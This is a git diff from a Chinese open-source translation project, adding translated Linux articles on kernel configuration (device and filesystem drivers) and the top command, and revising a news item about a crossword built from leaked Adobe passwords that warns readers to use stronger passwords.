@ -1,21 +1,21 @@
|
||||
一个有关Adobe密码泄漏的字迷游戏
|
||||
====
|
||||
一个有关**Adobe**公司密码泄漏的字迷游戏现在可以在[http://zed0.co.uk/crossword/][1]上玩咯。这个游戏的作者,创建这个游戏是为了告诉公众容易记忆的密码是非常不安全的,你不应该信任那些公司们会按照最佳实践来存储你的密码,例如Adobe。
|
||||
一个有关**Adobe**公司密码泄漏的字迷游戏现在可以在[http://zed0.co.uk/crossword/][1]上玩咯。作者创建这个游戏的初衷是为了告诉公众容易记忆的密码是非常不安全的,你不应该信任那些公司们会按照所谓最佳实践来存储你的密码,例如Adobe。
|
||||
|
||||
这个字迷游戏使用从Adobe公司泄漏出来的最常见的1000个密码以便于提醒你什么样的密码是不够强壮的,容易被破解。假如你使用的密码就是字迷游戏中的这种密码,而且你还把它作为你的全球通用密码,那么你应该立即更换掉它。这样的密码非常糟糕!赶紧去更换掉它,趁现在还不太晚。
|
||||
这个字迷游戏使用了从Adobe公司泄漏出来的最常见的1000个密码,从而提醒你,什么样的密码是不够强壮的,容易被破解的。假如你使用的密码就是字迷游戏中的这种密码,而且你还把它作为你的全球通用密码,那么你应该立即更换掉它。这样的密码非常糟糕!赶紧去更换掉它,趁现在还不太晚。
|
||||
|
||||
制作了如此有用且好玩的游戏的作者,向人们介绍说,他的灵感来源与[xkcd #1286: Encryptic][2],他还说到吧这些泄漏的密码放出来并不会造成太大的安全隐患,因为很多人很早以前就能猜中这样的密码。
|
||||
至于游戏本身,不但好玩而且有用。游戏作者介绍说,他的灵感来源于[xkcd #1286: Encryptic][2],他还说把这些泄漏的密码放出来并不会造成太大的安全隐患,因为很多人很早以前就能猜中这样的密码。
|
||||
|
||||
你还不知道Adobe公司的云安全事件吗?
|
||||
额,你还不知道Adobe公司的云安全事件?
|
||||
|
||||
不久前,Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的老练的攻击,获取了Adobe公司用户的信息以及盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示,攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。
|
||||
不久前,Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击,攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示,攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。
|
||||
|
||||
你可以点击[这儿][3]阅读更多有关的安全告示。
|
||||
你可以点击[这儿][3]阅读更多相关的安全公告。
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
|
@ -0,0 +1,111 @@
|
||||
戴文的Linux内核专题:22 配置内核 (18)
|
||||
================================================================================
|
||||

|
||||
|
||||
你好!准备好下一篇文章了么?在本篇中,我们将会讨论辅助屏幕。辅助显示是一些小的LCD屏幕;大多数小于或等于128x64。接着,我们会讨论用户空间IO驱动,一些虚拟驱动,Hyper-V,开发中驱动,IOMMU,和其他一些内核特性。
|
||||
|
||||
第一个配置辅助显示的驱动是"KS0108 LCD Controller"。KS0108 LCD Controller是由三星制造的图形控制器。
|
||||
|
||||
下面可以设置LCD并口地址(Parallel port where the LCD is connected)。第一个并口地址是0x378,下一个是0x278,第三个是0x3BC。这些不是地址唯一的选择。大多数人不需要改变这个。shell命令"cat /proc/ioports"会列出可用的并口和地址。
|
||||
|
||||
内核可以设置KS0108 LCD 控制器的写入延时到并口(Delay between each control writing (microseconds))。默认的值大部分是正确的,因此一般不需要更改。
|
||||
|
||||
"CFAG12864B LCD"屏幕是一块128x64,双色LCD屏幕。这块屏幕依赖于KS0108 LCD控制器。
|
||||
|
||||
可以改变这些LCD屏幕的刷新率(Refresh rate (hertz))。通常上,更高的刷新率会导致更多的CPU活动。这意味着一个缓慢的系统需要一个更低的刷新率。
|
||||
|
||||
设置完辅助显示后,接着设置"Userspace I/O drivers"。用户空间系统允许用户的应用和进程访问内核中断和内存地址。启用了它,一些驱动可以放在用户空间。
|
||||
|
||||
"generic Hilscher CIF Card driver"用于Profibus卡和Hilscher CIF卡。
|
||||
|
||||
"Userspace I/O platform driver"在用户空间创建通用驱动系统。
|
||||
|
||||
下一个驱动和上面的相同,但是增加IRQ处理(Userspace I/O platform driver with generic IRQ handling)。
|
||||
|
||||
下面的驱动又像前面的一个,但是增加了动态内存支持(Userspace platform driver with generic irq and dynamic memory)。
|
||||
|
||||
下面,是一些供应商/设备特性的驱动。
|
||||
|
||||
接着是一些通用PCI/PCIe卡驱动(Generic driver for PCI 2.3 and PCI Express cards)。
|
||||
|
||||
下面的驱动用于"VFIO support for PCI devices"。VFIO代表Virtual Function Input/Output(虚拟功能输入/输出)。VFIO允许设备直接以安全方式访问用户空间。
|
||||
|
||||
"VFIO PCI support for VGA devices"允许VGA通过VFIO被PCI支持。
|
||||
|
||||
接下来是virtio驱动。virtio是一个IO虚拟化平台。这个虚拟软件用于操作系统虚拟化。这在Linux系统上的虚拟机上运行一个操作系统时需要。
|
||||
|
||||
我们第一个可以配置的virtio驱动是"PCI driver for virtio devices"。这允许虚拟访问PCI
|
||||
|
||||
"Virtio balloon driver"允许虚拟系统的内存根据需要扩展或减少。通常上,没有人希望在需要内存的时候,虚拟系统保留它可能不会使用的内存。
|
||||
|
||||
下面的驱动允许内存映射到virtio设备(Platform bus driver for memory mapped virtio devices)。
|
||||
|
||||
如果Linux内核需要运行在微软的Hyper-V系统上,那么启用这个驱动(Microsoft Hyper-V client drivers)。这允许Linux能够成为Hyper的访客/客户端系统。
|
||||
|
||||

|
||||
|
||||
下面,我们会配置开发中的驱动。这些驱动人在开发当中,可能会变化很快,或者还没到Linux内核的质量标准。这个分类中的驱动只有Android驱动(在内核3.9.4中)。是的,Andorid使用Linux内核,这使得Andorid编程一个Linux系统。然而,这仍然有争议。如果内核是用于Android,那么最好启用所有的驱动。
|
||||
|
||||
"Android Binder IPC Driver"提供了对于Binder的支持,它允许Andorid系统进程间相互通信。
|
||||
|
||||
下面可以启用ashmen驱动(Enable the Anonymous Shared Memory Subsystem)。Ashmem代表"Anonymous SHared MEMory"(虚拟内存共享)或者"Android SHared MEMory"(Andorid共享内存)。
|
||||
|
||||
"Android log driver"提供了完整的Andorid日志系统。
|
||||
|
||||
"Timed output class driver" 和 "Android timed gpio driver"允许Andorid系统操作GIP引脚并在超时后取消操作。
|
||||
|
||||
"Android Low Memory Killer"会在需要更多内存关闭进程。这个特性会杀死不再使用或活跃的任务。
|
||||
|
||||
"Android alarm driver"使内核在设定的间隔后唤醒。
|
||||
|
||||
在配置晚开发中的驱动后,下面的驱动用于X86平台。这些驱动是 X86 (32-bit)的供应商/设备特定硬件。
|
||||
|
||||
下一个驱动是"Mailbox Hardware Support"。这个框架控制邮箱队列和硬件邮箱系统的中断信号。
|
||||
|
||||
"IOMMU Hardware Support"链接内存到能够使用DMA的设备上。IOMMU增强了DMA。IOMMU映射地址并阻止故障设备访问内存。IOMMU同样允许硬件访问比没有IOMMU更多内存。
|
||||
|
||||
"AMD IOMMU support"提供了对AMD设备更好的IOMMU支持。
|
||||
|
||||
对于AMD IOMMU支持存在调试特性(Export AMD IOMMU statistics to debugfs)。
|
||||
|
||||
存在一个对于AMD硬件的更新版本的IOMMU驱动(AMD IOMMU Version 2 driver)。
|
||||
|
||||
Linux内核同样支持对Intel设备的IOMMU驱动支持(Support for Intel IOMMU using DMA Remapping Devices)。
|
||||
|
||||
一些设备可能会接受不同的电压和时钟频率。这个驱动允许操作系统控制设备的电压输出和时钟频率(Generic Dynamic Voltage and Frequency Scaling (DVFS) support)。启用了这个驱动,可以启用下面的那些对于电源/性能管理特性。
|
||||
|
||||
"Simple Ondemand"就像上面的,但是只会基于设备活动改变时钟频率。通常上,更多的活动意味着设备需要更快的时钟速率来使用更多的资源需求。
|
||||
|
||||
"Performance"允许系统设置最高支持的时钟速度以满足最好的性能。这会增加电源消耗。
|
||||
|
||||
"Powersave"会设置时钟频率到最低以节约电源。
|
||||
|
||||
"Userspace"允许用户空间设置时钟频率。
|
||||
|
||||
"External Connector Class (extcon) support"使得用户空间可以监视外部连接器如USB和AC口。这允许应用了解是否插入了线缆。用户几乎都希望启用这个。如果任何人由于某个合理的理由禁用了它,请告诉我们为什么这么做。
|
||||
|
||||
"GPIO extcon support"驱动就像上面的驱动,但是它只对于GPIO管脚。
|
||||
|
||||
接下来是不同的供货商/设备特定的内存控制器(Memory Controller drivers)。内存芯片控制器可能是独立的设备或者内置在内存芯片上。这些控制器管理这输入和输出的数据流。
|
||||
|
||||
"Industrial I/O support"驱动提供了标准的传感器接口而不管总线的类型(像PCIe、spi、GPIO等等)。IIO是"Industrial I/O support"(工业IO)的通用缩写。
|
||||
|
||||
Linux内核提供了大量不同的加速器、放大器模数转换器、惯性测量单元、光敏传感器、磁场传感器和其他许多传感器和转换器的支持。
|
||||
|
||||
"Intel Non-Transparent Bridge support"驱动支持连接到系统的PCIe硬件桥。所有到映射内存的写入会镜像到两个系统中。
|
||||
|
||||
"VME bridge support"和上面的相同除了桥使用的是VME,这是一个不同的总线标准。
|
||||
|
||||
"Pulse-Width Modulation (PWM) Support"通过调节从这些设备收到的平均功率调节背光灯和风扇速度。
|
||||
|
||||
"IndustryPack bus support"提供了对IndustryPack总线标准的支持。
|
||||
|
||||
下一篇文章,我们会继续配置固件驱动。谢谢!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-18.4896/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,128 @@
|
||||
戴文的Linux内核专题:23 配置内核 (19)
|
||||
================================================================================
|
||||

|
||||
|
||||
欢迎进入Linux内核系列文章的下一篇!我们正在接近配置过程的终点。在这篇文章中,我们将会讨论固件驱动和文件系统驱动。
|
||||
|
||||
这个分类中的第一个驱动是寻找启动盘(BIOS Enhanced Disk Drive calls determine boot disk)。有时,Linux不会知道那个盘是启动盘。这个驱动允许内核询问BIOS。Linux接着在sysfs上存储信息。Linux需要知道这些来设置bootloader。
|
||||
|
||||
即使BIOS EDD服务被编译进了内核,这个选项可以设置这些服务不激活(Sets default behavior for EDD detection to off )。EDD代表的是"Enhanced Disk Drive"(增强磁盘驱动器)。
|
||||
|
||||
当使用kexec加载不同的内核时,性能可以通过固件提供的内存映射提升(Add firmware-provided memory map to sysfs)。
|
||||
|
||||
"Dell Systems Management Base Driver"通过sysfs接口提供了Linux内核对于Dell硬件的更好的控制。
|
||||
|
||||
启用这个驱动可以通过/sys/class/dmi/id/访问硬件的信息(Export DMI identification via sysfs to userspace)。DMI代表的是Desktop Management Interface(桌面管理接口)。DMI管理硬件的组件和访问硬件的数据。BIOS中数据的接口和硬件由SMBIOS(System Management BIOS)规范调节。
|
||||
|
||||
从DMI得到的原始数据表可以通过这个驱动访问(DMI table support in sysfs)。
|
||||
|
||||
为了从iSCSI驱动器中启动,启用这个驱动(DMI table support in sysfs)。
|
||||
|
||||
最后的驱动是一组"Google Firmware Drivers"。这些驱动用于Google特定的硬件。除非你为Google工作并且需要在硬件上使用Linux或者你在为一台从Google偷来的电脑编译内核,否则不要启用它。
|
||||
|
||||
下面,我们可以配置内核的文件系统支持。
|
||||
|
||||
"Second extended fs support"驱动用于EXT2文件系统。[http://www.linux.org/threads/ext-file-system.4365/][1]
|
||||
|
||||

|
||||
|
||||
"Ext2 extended attributes"提供了原生文件系统不支持的额外的元数据的使用。
|
||||
|
||||
"Ext2 POSIX Access Control Lists"增加了额外的非原生的权限模型。
|
||||
|
||||
"Ext2 Security Labels"增强了有SELinux提供的安全性。
|
||||
|
||||
启用"Ext2 execute in place support"允许可执行文件在当前的位置执行而不必在页缓存中执行。
|
||||
|
||||
这个驱动提供EXT3文件系统(Ext3 journaling file system support)。 [http://www.linux.org/threads/ext-file-system.4365/][2]
|
||||
|
||||
"Default to 'data=ordered' in ext3"驱动设置数据的排序模式为"Ordered"。这种处理方式为日志和写入工作。数据排序在这篇文章中解释 - [http://www.linux.org/threads/journal-file-system.4136/][3]
|
||||
|
||||
"Ext3 extended attributes"提供了原生文件系统不支持的额外的元数据使用。再说一次,接下来的EXT3的驱动/特性与EXT2相同 - "Ext3 POSIX Access Control Lists" 和 "Ext3 Security Labels"。同样,对接下来的EXT4也是相同的 - "Ext4 POSIX Access Control Lists"、"Ext4 Security Labels" 和 "EXT4 debugging support"。
|
||||
|
||||
EXT3和EXT4支持日志块设备调试(JBD debugging support),(JBD2 debugging support)。
|
||||
|
||||
下面的驱动提供Reiser文件系统支持(Reiserfs support)。 [http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/][4]
|
||||
|
||||
Reiser文件系统也有调试(Enable reiserfs debug mode)。
|
||||
|
||||
内核可以存储ReiserFS统计在/proc/fs/reiserfs (Stats in /proc/fs/reiserfs)。
|
||||
|
||||
下面的Reiser驱动/特性与EXT2/3/4相同 - ReiserFS extended attributes", "ReiserFS POSIX Access Control Lists" 和 "ReiserFS Security Labels".
|
||||
|
||||
Linux内核同样支持JFS,同时也包含了不同的特性 "JFS filesystem support"、 "JFS POSIX Access Control Lists"、"JFS Security Labels"、"JFS debugging" 和 "JFS statistics". [http://www.linux.org/threads/journaled-file-system-jfs.4404/][5]
|
||||
|
||||
再说一次,XFS可以通过启用这些驱动/特性支持 - "XFS filesystem support"、"XFS Quota support"、"XFS POSIX ACL support"、"XFS Realtime subvolume support" 和 "XFS Debugging support"。 [http://www.linux.org/threads/xfs-file-system.4364/][6]
|
||||
|
||||
"Global FileSystem 2"可以被内核支持(GFS2 file system support)。这个文件系统用于在集群中共享存储。
|
||||
|
||||
"GFS2 DLM locking"驱动提供了GFS2的分布式锁管理(DLM)
|
||||
|
||||
"Oracle Cluster FileSystem 2"被内核支持(OCFS2 file system support)。这个文件系统用于在集群中共享存储。
|
||||
|
||||
"O2CB Kernelspace Clustering"提供了OCFS2文件系统的不同服务。
|
||||
|
||||
"OCFS2 Userspace Clustering"允许集群栈在用户空间执行。
|
||||
|
||||
"OCFS2 statistics"驱动允许用户得到关于文件系统的统计信息。
|
||||
|
||||
像大多树Linux内核一样,OCFS2提供日志(OCFS2 logging support)。这可能被用来监视错误或者调试目的。
|
||||
|
||||
"OCFS2 expensive checks"驱动以性能为代价提供了存储一致性检测。一些Linux用户建议只有在调试目的在才启用它。
|
||||
|
||||
Linux内核同样包含了新的B树文件系统;这个驱动提供了磁盘格式化程序(Btrfs filesystem Unstable disk format)。BTRFS仍在开发中并被计划某天变的比EXT4更流行。[http://www.linux.org/threads/b-tree-file-system-btrfs.4430/][7]
|
||||
|
||||
"Btrfs POSIX Access Control Lists"提供了额外的原生BTRFS没有提供的权限模型。
|
||||
|
||||
下面,是一个BTRFS检测工具(Btrfs with integrity check tool compiled in (DANGEROUS))。由于BTRFS是一个最新在开发中的文件系统,大多数相关软件还并不稳定。
|
||||
|
||||
Linux系统也支持NIL-FileSystem(NILFS2 file system support)。[http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/][8]。
|
||||
|
||||
为了支持一些文件系统使用到的flock()系统调用,启用这个驱动(Enable POSIX file locking API)。禁用这个去的那个会减少11KB的内核大小。这个驱动提供了文件锁定。文件锁定是一个允许进程在某刻读取文件的过程。这通常用于网络文件系统,就像NFS。
|
||||
|
||||
"Dnotify support"驱动是一个古老的文件系统通知系统,它提醒文件系统上的事件的用户空间。它的一个用处和它的继承者被用于监控应用的文件系统。某个应用告诉守护进程需要监视哪些事件。不然,每个用户空间应用需要它们自己完成这个任务。
|
||||
|
||||
记住,Dnotify是一个古老的系统,那么什么是新的通知系统?它就是由这个驱动提供的Inotify (Inotify support for userspace)。
|
||||
|
||||
一个可选的通知系统是fanotify (Filesystem wide access notification)。Fanotify与Inotify一样,但是fanotify比Inotify传递更多的信息到用户空间中。
|
||||
|
||||
用这个驱动Fanotify可以检测权限(fanotify permissions checking)。
|
||||
|
||||
对于用户想要划分存储空间的系统需要 "Quota support"。 [http://www.linux.org/threads/atomic-disk-quotas.4277/][9]
|
||||
|
||||
接下来的驱动允许通过netlink报告磁盘配额警告和信息(Report quota messages through netlink interface)。netlink是一个用于与内核通信的用户空间的套接字接口。
|
||||
|
||||
配额信息同样可以发送到控制台(Print quota warnings to console (OBSOLETE))。
|
||||
|
||||
这个驱动允许配额系统执行额外的完整性检查(Additional quota sanity checks)。在计算机技术中,完整性检查是检测由于不良编程导致的错误。文件和输出都被检查来确保数据正确而不是以奇怪的方式构造。
|
||||
|
||||
一些旧的系统使用老的配额系统但希望在升级新内核时保留旧的配额系统。可以通过启用这个来容易解决(Old quota format support)。许多读者可能想要知道为什么一些人想要保留旧的配额系统而不是更新新的。好的,想想一下你是一家很大公司的IT部门的经理,公司有许多服务器运行着非常重要的任务。当你可以继续使用现在工作的很好的系统,你想要创建并配置一个新的(也可能很大)的文件系统么? 通常上,对于计算机,坚持下面的原则 - 如果它没有坏或者不会导致安全问题,不要去修复它。
|
||||
|
||||
用这个驱动,新的配额系统支持32位UID和GID(Quota format vfsv0 and vfsv1 support)。
|
||||
|
||||
为了自动挂载远程存储单元,启用这个驱动(Kernel automounter version 4 support)。
|
||||
|
||||
这个驱动支持FUSE文件系统(FUSE (Filesystem in Userspace) support)。用户空间文件系统(FUSE)支持任何用户创建他们自己的文件系统并在用户空间内使用。
|
||||
|
||||
一个特殊的FUSE扩展可以用于在用户空间使用字符设备Character device in Userspace support)。
|
||||
|
||||
In the next article, we will discuss caches, optical disc filesystems, FAT32 on Linux, and other interesting filesystem topics. Mahalo!
|
||||
下一篇文章中,我们会继续讨论缓存,光盘文件系统,Linux上的FAT32和其他有趣的文件系统话题。谢谢!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-19.4929/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.linux.org/threads/ext-file-system.4365/
|
||||
[2]:http://www.linux.org/threads/ext-file-system.4365/
|
||||
[3]:http://www.linux.org/threads/journal-file-system.4136/
|
||||
[4]:http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/
|
||||
[5]:http://www.linux.org/threads/journaled-file-system-jfs.4404/
|
||||
[6]:http://www.linux.org/threads/xfs-file-system.4364/
|
||||
[7]:http://www.linux.org/threads/b-tree-file-system-btrfs.4430/
|
||||
[8]:http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/
|
||||
[9]:http://www.linux.org/threads/atomic-disk-quotas.4277/
|
@ -0,0 +1,290 @@
|
||||
难以置信! 30个top命令示例以及截图
|
||||
================================================================================
|
||||
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中,我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
|
||||
|
||||
### 1. Top 命令输出: ###
|
||||
|
||||
首先,让我们理解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义:默认运行,top命令会显示如下输出:
|
||||
|
||||
|
||||

|
||||
|
||||
First few lines are horizontal showing summary about different system 前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。
|
||||
|
||||
#### 1.1 系统运行时间和平均负载: ####
|
||||
|
||||

|
||||
|
||||
top命令的顶部显示与uptime命令相似的输出。
|
||||
|
||||
这些字段显示:
|
||||
|
||||
- 当前时间
|
||||
- 系统运行的时间
|
||||
- 登陆用户的数量
|
||||
- 相应最近5、10和15分钟内的平均负载。
|
||||
|
||||
无法使用'l'命令触发uptime的显示。
|
||||
|
||||
#### 1.2 任务: ####
|
||||
|
||||

|
||||
|
||||
第二行显示的是任务或者进程的总结。进程可以在不同的状态。他显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态,这些进程概括可以用't'触发)。
|
||||
|
||||
#### 1.3 CPU 状态: ####
|
||||
|
||||

|
||||
|
||||
下一行显示的是CPU状态。 这里显示了不同模式下的CPU时间 %age。这些不同的CPU时间表示:
|
||||
|
||||
- us, user: 运行(未调整优先级的) 用户进程的CPU时间
|
||||
- sy,system: 运行内核进程的CPU时间
|
||||
- ni,niced:运行已调整优先级的用户进程的CPU时间
|
||||
- wa,IO wait: 用于等会IO完成的CPU时间
|
||||
- hi:处理硬件中断的CPU时间
|
||||
- si: 处理软件中断的CPU时间
|
||||
- st:被hypervisor偷去用于vm的CPU时间。
|
||||
|
||||
这个无法使用't'命令触发。
|
||||
|
||||
#### 1.4 内存使用: ####
|
||||
|
||||

|
||||
|
||||
接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。
|
||||
|
||||
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换反映的是:全部、已使用、空闲和缓冲交换空间。内存显示可以用'm'命令触发。
|
||||
|
||||
#### 1.5 字段/列: ####
|
||||
|
||||

|
||||
|
||||
在水平的系统属性和状态后,下面是以列显示的进程。不同的列代表下面要讨论的不同的属性。
|
||||
|
||||
默认上,top显示这些关于进程的属性。
|
||||
|
||||
**PID**
|
||||
进程ID,进程的唯一标识符
|
||||
|
||||
**USER**
|
||||
进程所有者的实际用户名。
|
||||
|
||||
**PR**
|
||||
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
|
||||
|
||||
**NI**
|
||||
进程的nice值。低的值意味这更高的优先级。
|
||||
|
||||
**VIRT**
|
||||
进程使用的虚拟内存。
|
||||
|
||||
**RES**
|
||||
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
|
||||
|
||||
**SHR**
|
||||
SHR是进程使用的共享内存。
|
||||
|
||||
**S**
|
||||
这个是进程的状态。它有以下不同的值:
|
||||
|
||||
- D - 不可中断的睡眠态。
|
||||
- R – 运行态
|
||||
- S – 睡眠态
|
||||
- T – 被追踪或已停止
|
||||
- Z – 僵尸态
|
||||
|
||||
**%CPU**
|
||||
自从上一次更新时到现在任务所使用的CPU时间百分比。
|
||||
|
||||
**%MEM**
|
||||
进程使用的可用物理内存百分比。
|
||||
|
||||
**TIME+**
|
||||
任务启动后到现在所使用的全部CPU时间,精确到百分之一秒。
|
||||
|
||||
**COMMAND**
|
||||
运行进程所使用的命令。
|
||||
|
||||
还有许多在默认情况下不会显示的输出,它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
|
||||
|
||||
### 2. 交互命令: ###
|
||||
|
||||
我们之前讨论过top是一个交互命令。上一章我们已经遇到了一些命令。这里我们会探索更多的命令。
|
||||
|
||||
#### 2.1 ‘h’: 帮助 ####
|
||||
|
||||
首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。
|
||||
|
||||

|
||||
|
||||
#### 2.2 ‘<ENTER>’ 或者 ‘<SPACE>’: 刷新显示 ####
|
||||
|
||||
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。
|
||||
|
||||
#### 2.3 A: 触发交替显示模式 ####
|
||||
|
||||
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口:
|
||||
|
||||
|
||||
1. Def
|
||||
2. Job
|
||||
3. Mem
|
||||
4. Usr
|
||||
|
||||
四个字段都有唯一独立的可配置的概括区域和它自i就的任务驱动。4个窗口中只有一个窗口会成为当前窗口。当前窗口显示在左上方。
|
||||
|
||||

|
||||
|
||||
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
|
||||
|
||||

|
||||
|
||||
#### 2.4 B: 触发粗体显示 ####
|
||||
|
||||
Some important information is shown in bold characters. This command toggles use of bold.
|
||||
一些重要信息会以加粗字体显示。这个命令触发使用粗体。
|
||||
|
||||

|
||||
|
||||
#### 2.5 ‘d’ or ‘s’: 设置显示的时间间隔 ####
|
||||
|
||||
当按下'd'或's'时,你将被提示输入一个值(以秒为单位),它会以设置的值作为显示间隔。如果你这里输入了1, top将会每秒刷新。
|
||||
|
||||

|
||||
|
||||
#### 2.6 ‘l’、‘t’、‘m’: 触发负载、任务、内存信息 ####
|
||||
|
||||
这会相应地触发平均负载、任务/CPU状态和内存信息。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### 2.7 ‘f’: 字段管理 ####
|
||||
|
||||
用于选择你想要显示的字段。用'*'标记的是已选择的。
|
||||
|
||||

|
||||
|
||||
‘<’ and ‘>’
|
||||
'<'移动已排序的字段到左边,'>'则移动到右边。
|
||||
|
||||
#### 2.8 ‘R’: 反向排序 ####
|
||||
|
||||
触发反向/常规排序。
|
||||
|
||||
#### 2.9 ‘c’: 触发命令 ####
|
||||
|
||||
触发显示进程启动时的完整路径和程序名。
|
||||
|
||||

|
||||
|
||||
#### 2.10 ‘i’: Idle Tasks ####
|
||||
|
||||
触发空闲任务。
|
||||
|
||||

|
||||
|
||||
#### 2.11 ‘V’: 树试图 ####
|
||||
|
||||
触发树视图。
|
||||
|
||||

|
||||
|
||||
#### 2.12 ‘Z’: 改变颜色映射 ####
|
||||
|
||||
按下'Z'向用户显示一个top命令的输出颜色可以改变的屏幕。这里有8个任务区域和8种颜色。
|
||||
|
||||

|
||||
|
||||
下面显示的是4中颜色显示的top视图。
|
||||
|
||||

|
||||
|
||||
#### 2.13 ‘z’: 触发彩色 ####
|
||||
|
||||
触发彩色,即打开或关闭彩色显示。
|
||||
|
||||
#### 2.14 ‘x’ 或者 ‘y’ ####
|
||||
|
||||
触发高亮:'x'排序字段;'y'运行进程。依赖于你的显示设置,你可能需要让输出彩色画来通知这些高亮。
|
||||
|
||||

|
||||
|
||||
#### 2.15 ‘u’: 用户的进程 ####
|
||||
|
||||
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
|
||||
|
||||

|
||||
|
||||
#### 2.16 ‘n’ or ‘#’: 任务的数量 ####
|
||||
|
||||
设置最大显示的任务数量
|
||||
|
||||

|
||||
|
||||
#### 2.17 ‘k’: 结束任务 ####
|
||||
|
||||
top命令中最重要的一个命令。用于发送信号给任务(通常是结束任务)。
|
||||
|
||||

|
||||
|
||||
#### 2.18 ‘r’: 重新调整优先级 ####
|
||||
|
||||
重新调整一个任务的调度优先级。
|
||||
|
||||
### 3. 命令行选项: ###
|
||||
|
||||
大多数这些命令行选项与上面讨论的命令相同。top的输出可以用命令交互操作。但是你可以带参数运行top来设置你想要的。
|
||||
|
||||
#### 3.1 -b: 批处理模式 ####
|
||||
|
||||
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
|
||||
|
||||
#### 3.2 -c: 命令/程序名 触发: ####
|
||||
|
||||
如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示。
|
||||
|
||||
#### 3.3 -d: 设置延迟间隔 ####
|
||||
|
||||
设置top的显示间隔(以秒计)。比如。
|
||||
|
||||
$ top -d 1
|
||||
|
||||
将会以1s的时间间隔启动top
|
||||
|
||||
#### 3.4 -i: 空闲进程触发 ####
|
||||
|
||||
这个选项设置top命令的上一次记住的相反的'i'状态。
|
||||
|
||||
#### 3.5 -n: 设置迭代数量 ####
|
||||
|
||||
用-n选项,你可以设置top退出前迭代的次数。
|
||||
|
||||
$ top -n 3
|
||||
|
||||
将会在3次输出后退出。
|
||||
|
||||
#### 3.6 -p: 监控特定的PID ####
|
||||
|
||||
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
|
||||
|
||||
#### 3.7 -u or -U: 用户名 或者 UID ####
|
||||
|
||||
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的。同时只可以使用这其中一个选项。当你试图组合使用这些选项时,你会得到一个错误:
|
||||
|
||||
$ top -p 28453 -u raghu
|
||||
top: conflicting process selections (U/p/u)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
Loading…
Reference in New Issue
Block a user